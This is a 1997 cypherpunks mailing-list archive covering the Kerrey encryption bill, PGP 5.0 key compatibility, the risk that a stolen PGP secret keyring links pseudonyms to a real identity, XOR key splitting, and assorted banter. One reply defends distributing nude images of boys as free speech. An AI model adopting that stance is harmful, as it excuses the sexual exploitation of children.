up to $100K for violations of the Act; (s. 702(1))


Ugh. The original is online at
<http://www.senate.gov/~kerrey/encrypt/encrypt2.html>, mirrored at
<http://www.parrhesia.com/kerrey.html>.




--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Wed, 18 Jun 1997 06:31:26 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Impact of Netscape kernel hole (fwd)
In-Reply-To: <Pine.LNX.3.91.970614112312.1213B-100000@fatmans.demon.co.uk>
Message-ID: <Pine.GSO.3.96.970617151502.27880A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 14 Jun 1997, Paul Bradley wrote:

> 
> 
> >It'd be nice to have more specifics about the whole situation, but
> >regardless - any preliminary threat assessments?  Exactly how widely
> >exploited do you think this has been?
> >
> >Tim's post (although refuted by Marc) raises some serious issues since I
> >suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp
> >
> >Some coherent input on the possible impact of this would be appreciated.
> 
> Basically the threat model is very simple:
> 
> Joe "slightly crypto-savvy pgp user" sixpack keeps his pgp keyring in 
> c:\pgp on a dos/w95 box. The average user of any of the unices keeps his 
> keyring in /usr/pgp or /usr/local/pgp it does not take a lot of attempts 
> to go through most of the common places.
> 
> The very same guy probably has a password that is:

[snip]

> Can you say "dictionary attack"???. 

There is another, more insidious attack to worry about.

Joe Cypherpunk has his PGP secret keyring in the "standard location".  Joe
Cypherpunk has also been posting to "Unpopular Usenet Group #666" (be it
alt.religion.scientology or alt.clinton.fisting) using a nym(s) which have
keys on the PGP keyring.

All the perp has to do, once the secring.pgp is obtained is "pgp -kvv
secring.pgp" and he now knows that Joe Cypherpunk and Secret Nym are the
same person.

This is a *BAD* thing.

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 18 Jun 1997 19:01:02 +0800
To: "Garrard, David" <David.Garrard@exch.eds.com>
Subject: RE: Digiweb.com's Movie Boys
In-Reply-To: <c=US%a=_%p=EDS%l=AUADMEDS001-970617034030Z-927@ustre100.exch.eds.com>
Message-ID: <Pine.LNX.3.91.970617160517.787C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



CC list cut from huge chain of people to just cpunx.

> Explain to me how distributing JPEGS's of nude boys is an exercise of
> personal freedom. 

I would have thought this was obvious, clearly not. Distributing any 
information is exercising ones right to free speech. Just because the 
speech happens to offend you does not make it wrong, I also find that 
often it is the most censorous that are the most repressed, I`m sure the 
poster probably has a collection of child pornography, or maybe just sits 
on the beach watching small boys?

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 18 Jun 1997 04:44:30 +0800
To: cypherpunks@toad.com
Subject: Re: Declan as a Crime Beat Reporter
In-Reply-To: <3.0.2.32.19970616233000.0075a9f4@popd.ix.netcom.com>
Message-ID: <v03020908afcc9f662d98@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:43 pm -0400 on 6/17/97, Tim May wrote:


> I had two more parties to get to that night, so I bid the boys a good night
> and got back in my beat up car and headed off to Dupont Circle. I heard
> that Sally the Schemer, doyenne of the Washington social circle, had some
> juicy news on how Dotty the Crypto Chick was being placed in the Witness
> Security Program.
:-)


Don't quit your day job, Tim.

Cheers,
Hunter S. Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 18 Jun 1997 19:30:25 +0800
To: David Coe <dcoe@overlord.com>
Subject: Re: keeping secrets and knowing when they're compromised
In-Reply-To: <33A57FB8.662D1FCA@overlord.com>
Message-ID: <Pine.LNX.3.91.970617161005.787D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > I also want to know, if I'm still around, when and if those documents
> > are decrypted.  I.e. In the event that my friend isn't as trustworthy
> > as I presume, I want to find out if s/he decrypts the files while I'm
> > still around.

There is a solution, a simple one, that can split the repsonsibility.

Encrypt the documents with a normal symmetric cryptosystem, something 
strong and unlikely to be compromised in the near future, say LOKI or 
IDEA, or maybe 3DES if you trust it.

XOR the key with a random value, give the result to your friend and print 
out the random value, sign it and give it to a bank or solicitor as a 
bequest in your will to your friend.

If and when something does happen the friend proves your death to the 
bank using probate or a death certificate, gets the random value, XORs it 
with the string you gave her and she has the key. She can then easily 
decrypt the data. 

Yes, it does involve a third party, but it is unlikely your friend could 
collude with a respected bank or solicitor/notary to recover the key...
Really all depends how paranoid you are.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 18 Jun 1997 04:48:10 +0800
To: cypherpunks@toad.com
Subject: LAN_law
Message-ID: <1.5.4.32.19970617202350.006ee2e8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Los Alamos lab is using its supercomps to develop
pattern-recognition programs to spot fraud in
the health care system similar to work for IRS
to spot tax cheats.

LAN_law






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 18 Jun 1997 04:52:54 +0800
To: cypherpunks@toad.com
Subject: LOW_orb
Message-ID: <1.5.4.32.19970617203001.00696ee4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Motorola plans to loft its third low-orbit sat system,
dubbed Celestri, for high-speed data, video and 
broadcast. That will make 7 systems for highbanding
low wares.

LOW_orb





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 18 Jun 1997 08:02:53 +0800
To: cypherpunks@toad.com
Subject: Re: Declan as a Crime Beat Reporter
Message-ID: <Pine.GSO.3.95.970617164632.24396B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 17 Jun 1997 14:38:49 -0700 (PDT)
From: Joe Shea <joeshea@netcom.com>
To: Declan McCullagh <declan@well.com>


	As a real Hollywood reporter, I'm sorry to tell you both Chasen's
and the Brown Derby are long shuttered.  So is Scandia and Cock 'n Bull. 
About the only old-line place of that type left is Tam O'Shanter. 

Best,

Joe Shea
Editor-in-Chief
The American Reporter
joeshea@netcom.com
http://www.newshare.com:9999








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Arunas Norvaisa <arunas@post1.com>
Date: Tue, 17 Jun 1997 22:30:59 +0800
To: "Silvakow" <ea2onov@atlas.moa.net>
Subject: Re: PGP for Windows 95
Message-ID: <3.0.32.19970617171734.00688900@post1.com>
MIME-Version: 1.0
Content-Type: text/plain



On 08:55 AM 97.06.17 +0000, Silvakow wrote (and I quoted):
>
>Has anyone yet checked out PGP for Windows 95?  It's $50 at stores 
>right now.  Information from pgp.com, but I want to know more before 
>I buy it.  Is it worth it?  Should I stick with PGP for DOS?  And 
>does anyone know if those PGP public keys are compatible with DOS 
>PGP?

 What d'ya mean??? PGP 5.0 is much more (not USD 50 in any case);
freeware PGP (latest version 2.6.2 for USA and 2.6.3i outside US)
is working just fine in MS-Dos shell under windoze'95... If you
mean specific shell (what I doubt), it's not PGP itself and you'll
still will get those dos windows anyway...


--
greetz... Arunas Norvaisa - little guy, The Masses Inc.
<mailto:arunas@post1.com> with subject: 'send key' to get PGP key
PGP for idiots page <http://www.a-vip.com/an>
  and a mirror site <http://www.post1.com/~arunas>
Programming Department:  Mistakes made while you wait.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Wed, 18 Jun 1997 08:53:00 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Kerrey bill introduced in Senate
In-Reply-To: <3.0.2.32.19970617144146.009656c0@mail.io.com>
Message-ID: <33A72D23.855D7AAA@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Greg Broiles wrote:
> 
> Sen. Kerrey's evil "Secure Public Networks Act" was introduced in the
> Senate today, cosponsored by Sen. McCain.

The bill is S.909, and it's described as "A bill to encourage and
facilitate the creation of secure public networks for communication,
commerce, education, medicine, and government."

It was also cosponsored by Sen. Hollings(SC).  It's been referred to
the Commerce committee.  Here's a list of all the committee members.

 Republicans            Democrats
 -----------            ---------
 McCain (AZ)            Hollings (SC)
 Stevens (AK)           Inouye (HI)
 Burns (MT)             Ford (KY)
 Gorton (WA)            Rockefeller (WV)
 Lott (MS)              Kerry (MA)
 Hutchison (TX)         Breaux (LA)
 Snowe (ME)             Bryan (NV)
 Ashcroft (MO)          Dorgan (ND)
 Frist (TN)             Wyden (OR)
 Abraham (MI)
 Brownback (KS)

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 18 Jun 1997 07:27:42 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Declan as a Budding Washington Insider
In-Reply-To: <v0310280fafcc7457ea6c@[207.167.93.63]>
Message-ID: <Pine.BSF.3.91.970617175042.26222B-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




Dear Citizen-Unit May;

It is not easy working in the Washington area. All of us have to devote a 
significant amount of time to inventing newsworthy activies to keep the 
media well-fed and all of you west-coast slackers entertained. We would 
appreciate it if you showed more respect for our efforts. While you're at 
it, try to pay a bit more in taxes; things are getting to be almost as 
expensive over here as they are out in the valley. I was knocking back a 
brew with Bill the other day, and it cost me five bucks.

-SpinMarsupial

On Tue, 17 Jun 1997, Tim May wrote:

> Dorothy (and not the Oz one). In D.C., the whole political process is a
> series of social contacts. This is markedly different from life here in the





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 18 Jun 1997 07:58:35 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Kerrey bill introduced in Senate (fwd)
Message-ID: <199706172318.SAA01303@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> Date: Tue, 17 Jun 1997 19:09:09 -0400
> From: Robert Hettinga <rah@shipwright.com>
> Subject: Kerrey bill introduced in Senate

> Sen. Kerrey's evil "Secure Public Networks Act" was introduced in the
> Senate today, cosponsored by Sen. McCain.
> 
> The bill, if passed, would:
> 
> Criminalize breaking another person's ciphertext for the purpose of
> violating their privacy, security, or property rights; (goodbye, Netscape
> bugs bounty and DES/RC4 cracks) (s. 105(3))

Actualy it would prevent me from cracking your ciphertext, it does not
prevent me from trying to crack my own ciphertext. Since I am supplying the
plaintext it is clear that I can continue to test Netscape or any other
algorithm. It also implies, by specificaly mentioning privacy, that you can
give me permission to attempt to crack your ciphertext. It, intentionaly or
not, give you the individual the choice and not Uncle Sam.

> Criminalize intercepting another's intellectual property for the purpose of
> violating intellectual property rights (s. 105(4))

I have absolutely no problem with making it illegal for you to packet sniff
my network when your specific goal is to take internal information against
my will and use it against me.

I think this is the kind of law that needs to be made. I would however
suspect that existing law covers this quite thoroughly.

> Require federal government purchasers of crypto equipment to buy GAK
> crypto; (s. 202, 204)

The federal government can require whatever the hell it wants of itself. I
don't work for them anymore and would not consider it in the future. When
they start telling me that I have to do something for their convenience,
then and there I have a major bitch.

> Require crypto products purchased with federal funds for use on a public
> network to employ GAK crypto; (s. 203, 205)

See above.

> Legalize the export of 56-bit DES crypto; (s. 302)

Ain't much, but it is a step in the right direction. I mean, 64-bit ain't
that far from 56, and shoot if your gonna give me 64 how about 128 since it
is ONLY twice as 'large'.

> Criminalizes the issuance of signature certificates by registered CA's for
> encryption keys if the user has not complied with GAK procedures; (s.
> 407(a)(4))

When did they pass a law requiring registration of CA's in the first place?
Or is this another law that only applies to voluntarily registered
government  CA's? And just exactly what is the ANSI/ISO standard of said
registrant? RFC?

> Criminalizes requesting a signature certificate for an encryption key from
> a registered CA if the user has not complied with GAK procedures; (s.
> 407(a)(5))

I don't understand this. Is the person asking committing the crime for
asking for a signature certificate without complying with GAK processes?
Or is the person refusing to register their key with a CA after the CA
received a request from a third party?

> Allows the Secretary of Commerce to "make investigations, obtain
> information, take sworn testimony, and require reports or the keeping of
> records by .. any person", to the extent necessary to enforce the Act; (s.
> 701(a))

Are you saying they must require everyone in a particular business class to
comply with their regulatory mechanations without exception OR that they
will be able to force such regulatory excesses as they can squeeze out of an
individual person/business?

> Allows the Secretary of Commerce to subpoena witnesses and documents in any
> State at any designated place; (s. 701(b)(3)(A))

Their enforcement agents already have this power since they are considered
federal agents equivalent to DEA or FBI (Hint: NEVER argue with a guy wearing
NOAA, NASA, USGS, DoA, etc. *AND* a badge).

> Allows the Secretary of Commerce to impose civil/adminstrative penalties of
> up to $100K for violations of the Act; (s. 702(1))

Without trial?

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Wed, 18 Jun 1997 06:33:00 +0800
To: cypherpunks@Algebra.COM
Subject: 4471.html
Message-ID: <199706172233.SAA21817@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain




   Web Anglais? Non, S'il Vous Plait --> Ashley Craddock -->
   [1]arrow Web Anglais? Non, S'il Vous Plait
   by [2]Ashley Craddock
   
   9:02am  17.Jun.97.PDT When Quebec computer-store owner Morty Grauer
   got a letter telling him to get rid of his Web page, change it, or
   else, he rolled over. But he wasn't happy about it.
   
   "I don't need subpoenas, fines, or going to court," Grauer told the
   [3]Montreal Gazette. "But what gets my goat is when they make me do
   something. I'm enraged right now. How can they tell you what to do on
   the Internet?"
   
   But according to the Quebec's Office de la Langue Francaise, they can
   do it pretty easily - jurisdictional issues notwithstanding. Because
   Grauer's Web site was in English, because it was on a Quebecois
   server, and because it had no French component, his [4]microbytes.com
   was illegal, plain and simple.
   
   "The Micro-Bytes Web page violated the Charter of the French
   Language," spokesman Gerald Paquette said Monday. So on 29 May, the
   OLF sent Grauer a letter, threatening to revoke his certificate of
   "francization," a legal necessity for businesses with 50-plus
   employees. Grauer has said he will comply as of 1 July.
   
   Crafted in the pre-Internet 1970s, Quebec's Charter of the French
   Language stipulates that commercial publications such as catalogs,
   brochures, leaflets, and commercial directories must be available in
   French. It also denies English-language education to immigrants, even
   those from English-speaking countries. (A separate Canadian federal
   law on bilingualism has a much more limited scope, requiring the
   government to publish information in both English and French.)
   
   In the separationist furor that has raged over Quebec for decades, the
   charter has been a highly controversial bulwark against anglicization
   and cultural dilution. In Montreal, large businesses are bilingual. On
   the streets, English words are no longer displayed. In homes and
   schools, the phrase, "le weekend," common parlance in France, is
   almost never heard.
   
   But whether or not the 20-year-old charter will have any teeth in the
   age of the Internet and free trade remains unclear.
   
   Although the charter has been relatively successful in terms of
   maintaining linguistic purity, its economic effects have been harsh:
   An estimated 300,000 residents and 1,000 businesses have left the
   province since the law was passed. And the Internet is expected to
   exact a high toll for such linguistic balkanization: An estimated 90
   percent of online communications are in English, only 2 percent in
   French.
   
   In France itself, where linguistic purity campaigns have recently
   taken on some degree of political chic, language activists have sued
   three sites under a 1994 law that bans single-language advertising in
   any language but French. The suits, which would have tested the law's
   application to Web sites for the first time, were dismissed last week
   on a technicality.
   
   In the free-speech-happy Internet, however, a four-year-old United
   Nations ruling may prove the most ominous indicator for attempts to
   enforce language purity: After reviewing the case of an
   English-speaking Canadian forced to call his funeral home a "salon
   funeraire," The UN's Human Rights Council found that the Canadian
   charter was in violation of the free-speech provision of the
   International Covenant on Civil and Political Rights.
   
   Still, the Office de la Langue Francaise is determined to hold the
   linguistic line.
   
   "Quebec wants to be a player in the global market, but there's a real
   chance it will erode our sense of language, of identity," Paquette
   said. "It's the same thing with the Internet: We feel threatened by
   it. It gives us the possibility of communicating with French speakers
   in France, Belgium, Switzerland, and North Africa, but English is the
   lingua franca of the Web. If we don't enforce this law, that'll only
   be more true in the future."
   Related Wired Links:
   [5]Web Sites Foil Canada's Election Poll Ban
   3.Jun.97
   [6]Canadian Election Law Prompts Web Site Battle
   27.May.97
   [7]arrow
   
   [8]Find Read a story in the Wired News archive.
   [9]Feedback Let us know how we're doing.
   [10]Tips Have a story or tip for Wired News? Send it.

        [11]Copyright (c) 1993-97 Wired Ventures, Inc. and affiliated companies.
        All rights reserved.

References

   1. http://www.wired.com/news/top_stories/
   2. mailto:craddock@wired.com
   3. http://www.montrealgazette.com/
   4. http://www.microbytes.com/main.html
   5. http://www.wired.com/news/topframe/4221.html
   6. http://www.wired.com/news/topframe/4081.html
   7. http://www.wired.com/news/top_stories/
   8. http://www.wired.com/news/search.html
   9. mailto:newsfeedback@wired.com
  10. mailto:tips@wired.com
  11. http://www.wired.com/wired/full.copyright.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 18 Jun 1997 07:25:50 +0800
To: cypherpunks@toad.com
Subject: Kerrey bill introduced in Senate
Message-ID: <v03020920afccc9833852@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: gbroiles@mail.io.com (Unverified)
Date: Tue, 17 Jun 1997 14:41:46 -0700
To: cypherpunks@cyberpass.net
From: Greg Broiles <gbroiles@netbox.com>
Subject: Kerrey bill introduced in Senate
Mime-Version: 1.0
Sender: owner-cypherpunks@cyberpass.net
Precedence: bulk
Reply-To: Greg Broiles <gbroiles@netbox.com>
X-Loop: cypherpunks@cyberpass.net


Sen. Kerrey's evil "Secure Public Networks Act" was introduced in the
Senate today, cosponsored by Sen. McCain.

The bill, if passed, would:

Criminalize the knowing use of crypto to encrypt data or communications in
furtherance of a crime; (s. 104)

Criminalize breaking another person's ciphertext for the purpose of
violating their privacy, security, or property rights; (goodbye, Netscape
bugs bounty and DES/RC4 cracks) (s. 105(3))

Criminalize intercepting another's intellectual property for the purpose of
violating intellectual property rights (s. 105(4))

Criminalize issuing a key to another person in furtherance of a crime (s.
105(6))

Require federal government purchasers of crypto equipment to buy GAK
crypto; (s. 202, 204)

Require crypto products purchased with federal funds for use on a public
network to employ GAK crypto; (s. 203, 205)

Legalize the export of 56-bit DES crypto; (s. 302)

Criminalizes the issuance of signature certificates by registered CA's for
encryption keys if the user has not complied with GAK procedures; (s.
407(a)(4))

Criminalizes requesting a signature certificate for an encryption key from
a registered CA if the user has not complied with GAK procedures; (s.
407(a)(5))

Allows the Secretary of Commerce to "make investigations, obtain
information, take sworn testimony, and require reports or the keeping of
records by .. any person", to the extent necessary to enforce the Act; (s.
701(a))

Allows the Secretary of Commerce to subpoena witnesses and documents in any
State at any designated place; (s. 701(b)(3)(A))

Allows the Secretary of Commerce to impose civil/adminstrative penalties of
up to $100K for violations of the Act; (s. 702(1))


Ugh. The original is online at
<http://www.senate.gov/~kerrey/encrypt/encrypt2.html>, mirrored at
<http://www.parrhesia.com/kerrey.html>.




--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         |
http://www.io.com/~gbroiles | Export jobs, not crypto.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 18 Jun 1997 10:47:41 +0800
To: cypherpunks@cyberpass.net
Subject: The Tao
In-Reply-To: <3.0.2.32.19970617144146.009656c0@mail.io.com>
Message-ID: <v03102802afccf9fc2392@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:34 PM -0700 6/17/97, Tom Weinstein wrote:

>What is appropriate for the master is not appropriate| Tom Weinstein
>for the novice.  You must understand Tao before      | tomw@netscape.com
>transcending structure.  -- The Tao of Programming   |

All Beings are happy when the Tao approaches 8800.



--Tim "still long the market" May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Wed, 18 Jun 1997 11:44:20 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Declan as a Crime Beat Reporter
In-Reply-To: <v03102800afcc849b8fca@[207.167.93.63]>
Message-ID: <199706180334.UAA12837@netcom2.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




[declan]
>Another way of viewing the Washington reporter problem is to view him as a
>Hollywood reporter, sort of an Army Archerd character "doing lunch" at
>Chasen's and The Brown Derby, not to mention doing lines at the Viper Club.
>
>But a more accurate comparison is to crime beat reporters, those scribblers
>who hang out at the Mafia watering holes and social clubs (when they're
>allowed in, to spin a story in a favorable way), reporting on the turf
>battles between the rival factions, and leaking out rumors of who's
>planning to make a move on Vinnie Bones.

ah, so lets see, given your strange fascination with the mafia and
mafia-like ventures such as Blacknet and anonymous digital-cash
funded cyberspace assassination, that would make you a prime
Declan follower and admirer.

>One more day in the life of Declan McCullagh, Washington Crime Family Reporter

hee, hee, I hope that Declan comes up with an amusing mishmash of your
own life. turnabout is fair play. maybe if he doesn't, someone else
can take a stab at satirizing mr. debauched millionaire playboy
who dabbles in cryptography theory.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Wed, 18 Jun 1997 11:59:53 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The Tao
In-Reply-To: <v03102802afccf9fc2392@[207.167.93.63]>
Message-ID: <199706180340.UAA13412@netcom2.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




>
>>What is appropriate for the master is not appropriate| Tom Weinstein
>>for the novice.  You must understand Tao before      | tomw@netscape.com
>>transcending structure.  -- The Tao of Programming   |
>
>All Beings are happy when the Tao approaches 8800.

the crass, ignorant, and materialistic mistake the Tao for the Dow.
when the Dow melts down, those that believe in it will be as shattered
as those clinging to a false religion. they will be like the 
priests of a fallen hypocrisy. this is the way of the
Tao, to arrive at truth by swimming through falsity. for
the master it need not be so. but masters are rare. if they
were not rare, it would not be the Tao.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Wed, 18 Jun 1997 12:15:01 +0800
To: cypherpunks@toad.com
Subject: Announcing E3News.Com!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.17044.06171997200006.108469@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain



-----------------------------------------------------------------
   ZDNET ANNOUNCEMENT          6/17/97
-----------------------------------------------------------------

E3News.com to Cover Gaming's Biggest Show in Real Time!

The GameSpot Network will be broadcasting live from the Electronic
Entertainment Expo (E3) in Atlanta this week. E3 is the biggest 
show in the games industry. You can learn about the show, and see
it all as it happens right now at the E3 News.com site:

http://www.e3news.com

More than fifty editors from GameSpot, VideoGameSpot, GameSpot 
News, Computer Gaming World, Electronic Gaming Monthly, EGM2 and 
P.S.X. will be roaming the show floor on June 19, 20 and 21 to 
bring you all the stories from this computer and video game 
extravaganza.

Read about the newest games, the latest hardware, the biggest 
stories, all posted live from the E3 News media center on the 
show floor. The site will be updated continuously, so you'll see 
everything as it happens.

E3News.com will also bring you coverage of the outrageous parties
and after-hours events. It's the next best thing to being there!
If you like games, E3News.com is a must see!

--- E3News.com ---

http://www.e3news.com	

--- The GameSpot Network - Your Games Channel on ZDNet ---

http://www.gamespot.com

_______________________________________________________________       

ZDNet Announcements are periodic notices of new features,
special events and free offers available to members of ZDNet. 

--To subscribe to ZDNet Announcements, please send mail to:
announce-on@lists.zdnet.com        
You can leave the subject and body blank.        

--To unsubscribe to ZDNet Announcements, please send mail to:
announce-off@lists.zdnet.com       
You can leave the subject and body blank. 
_______________________________________________________________


Powered by Mercury Mail: http://www.merc.com
===============================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jamie Lawrence <jal@acm.org>
Date: Wed, 18 Jun 1997 14:24:56 +0800
To: cypherpunks@toad.com
Subject: Re: eDrugs / Re: e$: Skins vs. Shirts
In-Reply-To: <199706161942.VAA03680@basement.replay.com>
Message-ID: <v03102801afcd2dc1338e@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:42 PM +0200 on 6/16/97, Anonymous wrote:


> Do _you_ have the hacker nature?
> <IMG HREF="http://www.blacknet.net/snowcrash.gif">
> Do you _still_ have the hacker nature?
>
>                  Raven

% whois blacknet.net

American Black Entrepreneurs Association BLACKNET4-DOM
   P.O. Box 1304
   Montclair, NJ 07042
   US

   Domain Name: BLACKNET.NET

   Administrative Contact, Technical Contact, Zone Contact:
      Durko, David  DD775  kabmed@IX.NETCOM.COM
      201-497-1400
   Billing Contact:
      Durko, David  DD775  kabmed@IX.NETCOM.COM
      201-497-1400

   Record last updated on 05-Apr-97.
   Record created on 05-Apr-97.
   Database last updated on 16-Jun-97 05:26:09 EDT.

   Domain servers in listed order:

   NS1.SPRINTLINK.NET           204.117.214.10
   NS2.SPRINTLINK.NET           199.2.252.10

%

--
"This analogy is like lifting yourself by your own bootstraps."
                                         -Douglas R. Hofstadter
_______________________________________________________________
Jamie Lawrence                                      jal@acm.org






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 18 Jun 1997 11:44:59 +0800
To: cypherpunks@toad.com
Subject: Re: The Tao
In-Reply-To: <v03102802afccf9fc2392@[207.167.93.63]>
Message-ID: <oZ4g9D37w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



> --Tim "still long the market" May

May not be a smart idea.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 18 Jun 1997 15:06:31 +0800
To: "Silvakow" <ea2onov@atlas.moa.net>
Subject: Re: PGP for Windows 95
In-Reply-To: <B0001773986@atlas.moa.net>
Message-ID: <3.0.2.32.19970617235457.0075b1d8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:55 AM 6/17/97 +0000, Silvakow wrote:
>Has anyone yet checked out PGP for Windows 95?  It's $50 at stores 
>right now.  Information from pgp.com, but I want to know more before 
>I buy it.  Is it worth it?  Should I stick with PGP for DOS?  And 

Get the beta at www.pgp.com and try it out.  I've been very pleased
with it - the integration into Eudora is very nice, and the
PGPtray icon works much better than the Enclyptor did - you can
encrypt/decrypt/sign/verify to and from the clipboard,
making it easy to work with non-PGP-aware applications.
The key management has been mostly separated from the encryption,
which was really the right thing to do anyway,
and if you like GUIs, it's got one.  

If you're trying to write programs to integrate PGP
without using the GUI, you'll have to do some work again;
enough of the details have changed.

>does anyone know if those PGP public keys are compatible with DOS PGP?

PGP 5.0 uses two types of keys - the familiar RSA keys, which are handled
compatibly with previous versions of PGP, and new-algorithm keys,
which use DSA for signatures, Diffie-Hellman for encryption, and SHA-1 hashes.
It can use the old keys, and generate RSA keys you can use with older PGP,
but obviously the older PGP can't use the DSA/DH keys.  I don't remember
if the freeware version that you can get at MIT will also generate 
new RSA keys or only use them.

The keyring files themselves are obviously different, since they 
can contain DSA/DH keys and some other data, but they're upward compatible.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
